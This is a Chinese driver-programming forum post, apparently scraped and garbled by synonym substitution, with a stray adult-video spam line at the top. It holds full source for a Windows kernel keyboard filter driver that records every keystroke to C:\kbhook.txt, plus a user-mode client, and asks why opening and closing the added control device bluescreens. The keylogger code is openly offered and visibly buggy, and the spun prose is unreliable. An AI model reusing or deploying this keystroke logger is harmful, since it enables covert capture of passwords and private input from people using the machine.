![卡通动漫 [乞助]沉闷，收场，我写的多引诱键盘过滤驱动若何老蓝屏？](/uploads/allimg/241104/0416315F106153.jpg)
金瓶梅在线观看 我刚斗殴驱动编程，遇到好多问题。
简直没成见了，请公共帮帮我吧。。
网上找到一PS/2口键盘的过滤驱动，我念念让过滤驱动与RING3层通讯，需要在DriverEntry()中再创建一个引诱，这个引诱有益与RING3进行通讯，但这个引诱的创建出现了问题，无论是怒放，关闭，王人会蓝屏...不知哪儿出了问题，帮我望望吧，驱动代码很绵薄，我上传到附件了，底下是主要代码
//#include <ntddk.h>
#include "kbhook.h"
#include "ScanCode.h"
#include <windef.h>
int numPendingIrps=0;
//
//IOCTL 以及适度引诱的关系变量
//
#define IOCTL_PASSPROCESSID \
CTL_CODE(FILE_DEVICE_UNKNOWN， 0x801， METHOD_BUFFERED， FILE_ANY_ACCESS)
UNICODE_STRING devNameUnicd;
UNICODE_STRING devLinkUnicd;
PDEVICE_OBJECT pDevice; //适度引诱的引诱对象
NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject，IN PIRP pIrp); //DeviceIoControl的处理函数
VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{
KTIMER kTimer;
LARGE_INTEGER timeout;
PDEVICE_EXTENSION pKeyboradDeviceExtension;
pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
timeout.QuadPart=1000000;//1s
KeInitializeTimer(&kTimer);
while(numPendingIrps > 0)
{
KeSetTimer(&kTimer，timeout，NULL);
KeWaitForSingleObject(&kTimer，Executive，KernelMode，FALSE，NULL);
}
pKeyboradDeviceExtension->bThreadTerminate=TRUE;
KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue，0，1，TRUE);//让独处的记录线程赢得实践契机
KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject，
Executive，KernelMode，FALSE，NULL); //完结独处的记录线程
ZwClose(pKeyboradDeviceExtension->hLogFile); //关闭文献句柄
IoDeleteDevice(theDriverObject->DeviceObject); //删除引诱对象
IoDeleteSymbolicLink(&devLinkUnicd);
IoDeleteDevice(pDevice);
DbgPrint("My Driver Unloaded!");
return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject，IN PUNICODE_STRING RegistryPath)
{
NTSTATUS status={0};
int i;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
IO_STATUS_BLOCK file_status;
OBJECT_ATTRIBUTES obj_attrib;
CCHAR ntNameFile[100]="\\DosDevices\\c:\\kbhook.txt";
STRING ntNameString;
UNICODE_STRING uFileName;
for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
theDriverObject->MajorFunction[i] = DispatchPassDown;
theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
HookKeyboard(theDriverObject);
//缔造一个线程用来记录键盘行为
InitThreadKeyLogger(theDriverObject);
/////////////////////////////////////////////////////////////////////////////////////////////
////////动手化一个旋转锁来探问链表///////////////////////////////////////////////////////////////
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue，0，MAXLONG);
////////////创建一个记录文献///////////////////////////////////////////////////////////////////////
RtlInitAnsiString(&ntNameString，ntNameFile);
RtlAnsiStringToUnicodeString(&uFileName，&ntNameString，TRUE);
InitializeObjectAttributes(&obj_attrib，&uFileName，
OBJ_CASE_INSENSITIVE，
NULL，NULL);
status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile，
GENERIC_WRITE，
&obj_attrib，
&file_status，
NULL，
FILE_ATTRIBUTE_NORMAL，
0，
FILE_OPEN_IF，
FILE_SYNCHRONOUS_IO_NONALERT，
NULL，
0);
RtlFreeUnicodeString(&uFileName);
theDriverObject->DriverUnload=OnUnload;
//NTSTATUS Status;
//PDEVICE_OBJECT pDevice;
RtlInitUnicodeString(&devNameUnicd，L"\\Device\\PANZER3");
RtlInitUnicodeString(&devLinkUnicd，L"\\??\\PANZER3");//创建适度引诱
status=IoCreateDevice(theDriverObject，0，&devNameUnicd，FILE_DEVICE_UNKNOWN，
0，FALSE，&pDevice);
if(!NT_SUCCESS(status))
{
DbgPrint(("Can not create device.\n"));
return status;
}
status=IoCreateSymbolicLink(&devLinkUnicd，&devNameUnicd);
if(!NT_SUCCESS(status))
{
DbgPrint(("Can not create device.SymbolicLink\n"));
return status;
}
theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=
theDriverObject->MajorFunction[IRP_MJ_CREATE]=
theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;
DbgPrint("Create Control Driver ! address=%p = %x"， pDevice，pDevice);
return STATUS_SUCCESS;
}
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{ ///IRQL = passive level
//缔造过滤驱动对象
PDEVICE_EXTENSION pKeyboardDeviceExtension;
PDEVICE_OBJECT pKeyboardDeviceObject;
CCHAR ntNameBuffer[50]="\\Device\\keyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDevice;
NTSTATUS status=IoCreateDevice(theDriverObject，
sizeof(DEVICE_EXTENSION)，
NULL，
FILE_DEVICE_KEYBOARD， //★细巧这里
0，
TRUE，
&pKeyboardDeviceObject);
if(!NT_SUCCESS(status))
return status;
/////////// 缔造新引诱的标志与地层键盘引诱标志筹商
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
//在DriverEntry例程中创建的引诱对象，并不需要必须废弃DO_DEVICE_INITIALIZING标志，这是因为这个责任将会由I/O解决器自动完成。
//但是，若是创建了其它引诱对象，则需要进行该废弃责任。
//对DEVICE_EXTENSION结构清0
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension，sizeof(DEVICE_EXTENSION));
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
/////把keyboardClass0调整成一个UNICODE字符串//////////////////////////////////////////////////////////
RtlInitAnsiString(&ntNameString，ntNameBuffer);
RtlAnsiStringToUnicodeString(&uKeyboardDevice，&ntNameString，TRUE);
//准备责任完成后扬弃过滤钩子
IoAttachDevice(pKeyboardDeviceObject，&uKeyboardDevice，
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDevice);
return STATUS_SUCCESS;
}
NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject)
{// IRQL = passive level
PDEVICE_EXTENSION pKeyboardDeviceExtension;
HANDLE hThread;
NTSTATUS status;
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
//////////////////////缔造线程情状////////////////////////////////////
pKeyboardDeviceExtension->bThreadTerminate=FALSE;
////////////创建一个线程用来记录////////////////////////////////////////
status=PsCreateSystemThread(&hThread，
(ACCESS_MASK)0，
NULL，
(HANDLE)0，
NULL，
ThreadKeyLogger，
pKeyboardDeviceExtension);
if(!NT_SUCCESS(status))
return status;
///////////////////////////调整保存指向线程对象的指针////////////////////////
ObReferenceObjectByHandle(hThread，
THREAD_ALL_ACCESS，
NULL，
KernelMode，
(PVOID*)&pKeyboardDeviceExtension->pThreadObject，
NULL);
ZwClose(hThread);
return status;
}
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject，IN PIRP pIrp)
{ // IRQL = passive level
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ，pIrp);
}
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject，IN PIRP pIrp)
{ // IRQL = DISPATCH_LEVEL
IoCopyCurrentIrpStackLocationToNext(pIrp);
IoSetCompletionRoutine(pIrp，
OnReadCompletion，
theDeviceObject，
TRUE，
TRUE，
TRUE);
numPendingIrps++; //记录挂起的irp数量
return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice，pIrp);
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject，IN PIRP pIrp，IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
PKEYBOARD_INPUT_DATA keys;
int numKeys;
int i;
KEY_DATA* kData;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
if(pIrp->IoStatus.Status==STATUS_SUCCESS)
{
keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
for( i=0;i<numKeys;i++)
{
if(keys[i].Flags==KEY_MAKE)
DbgPrint("%s\n"，"Key Down，IrpCallBack FUN");
kData=(KEY_DATA*)ExAllocatePool(NonPagedPool，sizeof(KEY_DATA));
kData->KeyData=(char)keys[i].MakeCode;
kData->KeyFlags=(char)keys[i].Flags;
/////////创建一个链表将击键行为传递给worker线程/////////////////////////////////////
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead，
&kData->ListEntry，
&pKeyboardDeviceExtension->lockQueue); //★细巧同步
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue，0，1，FALSE);
}
}
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
numPendingIrps--;
return pIrp->IoStatus.Status;
}
VOID ThreadKeyLogger(IN PVOID pContext)
{// IRQL = passive level
PDEVICE_OBJECT pKeyboardDeviceObject;
PDEVICE_EXTENSION pKeyboardDeviceExtension;
PLIST_ENTRY pListEntry;
KEY_DATA* kData;
char keys[3]={0};
pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;
pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;
//恭候信号量，若信号量递加，则持续运行处理轮回
while(TRUE)
{
KeWaitForSingleObject(
&pKeyboardDeviceExtension->semQueue，
Executive，
KernelMode，
FALSE，
NULL);
//在链表中安全删除了最高尖端//
pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead，
&pKeyboardDeviceExtension->lockQueue);
if(pKeyboardDeviceExtension->bThreadTerminate==TRUE)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
kData=CONTAINING_RECORD(pListEntry，KEY_DATA，ListEntry);
ConvertScanCodeToKeyCode(pKeyboardDeviceExtension，kData，keys);
ExFreePool(kData); //删除内存
if(keys!=0)
{
if(pKeyboardDeviceExtension->hLogFile!=NULL)
{
IO_STATUS_BLOCK io_status;
NTSTATUS status;
status=ZwWriteFile(
pKeyboardDeviceExtension->hLogFile，
NULL，
NULL，
NULL，
&io_status，
&keys，
strlen(keys)，
NULL，
NULL);
if(status!=STATUS_SUCCESS)
DbgPrint("write code to file fail!");
}
}
}
return;
}
//////////ConvertScanCodeToKeyCode 函数用来调整袭取的击键码
//
//适度引诱的IOControl函数
//
NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject，IN PIRP pIrp)
{
PIO_STACK_LOCATION irpStack;
NTSTATUS Status;
PVOID InPutBuffer;
ULONG ioControlCode;
ULONG OutPutLen;
PEPROCESS Process;
ULONG IOPL = 1;
HANDLE hProc;
HANDLE *pBuff = NULL;
Status=STATUS_SUCCESS;
if(pDeviceObject != pDevice)
{
DbgPrint("keyboard filter!");
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ，pIrp);
}
irpStack=IoGetCurrentIrpStackLocation(pIrp);
ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;
switch(irpStack->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("Call IRP_MJ_CREATE\n");
break;
case IRP_MJ_CLOSE:
DbgPrint("Call IRP_MJ_CLOSE\n");
break;
case IRP_MJ_DEVICE_CONTROL:
OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength;
switch(ioControlCode)
{
case IOCTL_PASSPROCESSID:
{
/*_asm
{
mov dx， 0x64
mov al， 0xFE
out dx， al
}*/
DbgPrint("ioControlCode\n");
}
break;
default:
break;
}
break;
default:
DbgPrint("no match control\n");
break;
}
pIrp->IoStatus.Status = Status;
pIrp->IoStatus.Information = 0;
IoCompleteRequest (pIrp， IO_NO_INCREMENT);
return Status;
}
//////////////////////////完毕
怒放适度引诱的代码如下
#include "stdafx.h"
#include <stdio.h>
#include <winioctl.h>
#define IOCTL_PASSPROCESSID \
CTL_CODE(FILE_DEVICE_UNKNOWN， 0x801， METHOD_BUFFERED， FILE_ANY_ACCESS)
ULONG dwReturn;
int APIENTRY WinMain(HINSTANCE hInstance，
HINSTANCE hPrevInstance，
LPSTR lpCmdLine，
int nCmdShow)
{
HANDLE hDevice=CreateFile("\\\\.\\PANZER3"，GENERIC_READ | GENERIC_WRITE，
0，NULL，OPEN_EXISTING，FILE_ATTRIBUTE_NORMAL，
NULL);
if(hDevice==INVALID_HANDLE_VALUE)
MessageBox(NULL，"fail"，"fail"，MB_OK);
else
{
//DeviceIoControl(hDevice，IOCTL_PASSPROCESSID，NULL，0，
//NULL，0，&dwReturn，NULL);
MessageBox(NULL，"ok"，"ok"，MB_OK);
CloseHandle(hDevice);//到这里蓝屏 沉闷
MessageBox(NULL，"closeHandle"，"ok"，MB_OK);
}
return 0;
}
[培训]内核驱动高等班，冲击BAT一流互联网大厂责任卡通动漫，每周日13:00-18:00直播讲课
上传的附件：
kbhookCode.rar （30.73kb，90次下载）
